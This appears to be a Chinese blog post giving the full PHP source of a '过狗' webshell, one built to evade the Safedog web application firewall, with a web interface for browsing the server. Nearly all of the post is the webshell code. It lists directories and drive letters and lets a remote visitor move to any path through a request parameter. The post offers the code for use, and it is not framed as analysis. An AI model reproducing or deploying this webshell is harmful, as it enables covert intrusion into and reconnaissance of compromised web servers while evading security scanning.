安全狗扫描
过狗shell界面
不堪回首的过往
不堪回首的过往[/caption]
过狗shell代码:
`<?
error_reporting(1);
//列目录函数
function dirlist($cd){
$dh = opendir($cd);
while($dl = readdir($dh)){
$dla[] = $dl;
}
foreach($dla as $d){
if(!is_file($cd.$d)&&$d!="."){
$content.="<a href='?newdir=".$cd.$d."'>".$d."</a>"."<br />";
}
}
foreach($dla as $d){
if(is_file($cd.$d)){
$content.=$d."<br />";
}
}
return $content;
}
//列出盘符函数
function listDisk(){
$letters = range('b','z');
foreach($letters as $l){
if(is_dir($l.":")){
$dlist.= "[<a href='?newdir=".$l.":'>".$l."盘</a>]";
}
}
echo $dlist;
}
//常量定义
$rd = $_SERVER['DOCUMENT_ROOT'];
$fd = $rd.substr($_SERVER['PHP_SELF'],0,strrpos($_SERVER['PHP_SELF'],"/"));
`
if(!isset($_REQUEST['action'])){
$ac = "dirlist";
}else{
$ac = $_REQUEST['action'];
}
if(!isset($_REQUEST['newdir'])){
$cd = getcwd()."\\";
}else{
$cd = $_REQUEST['newdir']."\\";
chdir($cd);
$cd = getcwd()."\\";
}
switch($ac){
case "dirlist":$content = dirlist($cd);break;
}
?&gt; &lt;html&gt; &lt;style&gt; body{ background-color:#000000; color:#FFFFFF; } a{ color:#CC9900; } &lt;/style&gt; &lt;body&gt; &lt;div id="main"&gt; &lt;div&gt; &lt;form name="form1" method="get" action=""&gt; &lt;label&gt; &lt;input name="newdir" type="text" value="&lt;?=$cd?&gt;" size="60"&gt; &lt;/label&gt; &lt;label&gt; &lt;input type="submit" value="提交"&gt; &lt;/label&gt; &lt;/form&gt; &lt;/div&gt; &lt;hr color="#FFFFFF" /&gt; &lt;div id="gongneng"&gt;文件目录:[&lt;a href="?newdir=&lt;?=$rd?&gt;"&gt;站点根目录&lt;/a&gt;][&lt;a href="?newdir=&lt;?=$fd?&gt;"&gt;本文件目录&lt;/a&gt;]&lt;? listDisk(); ?&gt;&lt;/div&gt; &lt;hr color="#FFFFFF" /&gt; &lt;div&gt;&lt;?=$content?&gt;&lt;/div&gt; &lt;/div&gt; &lt;/body&gt;
</html>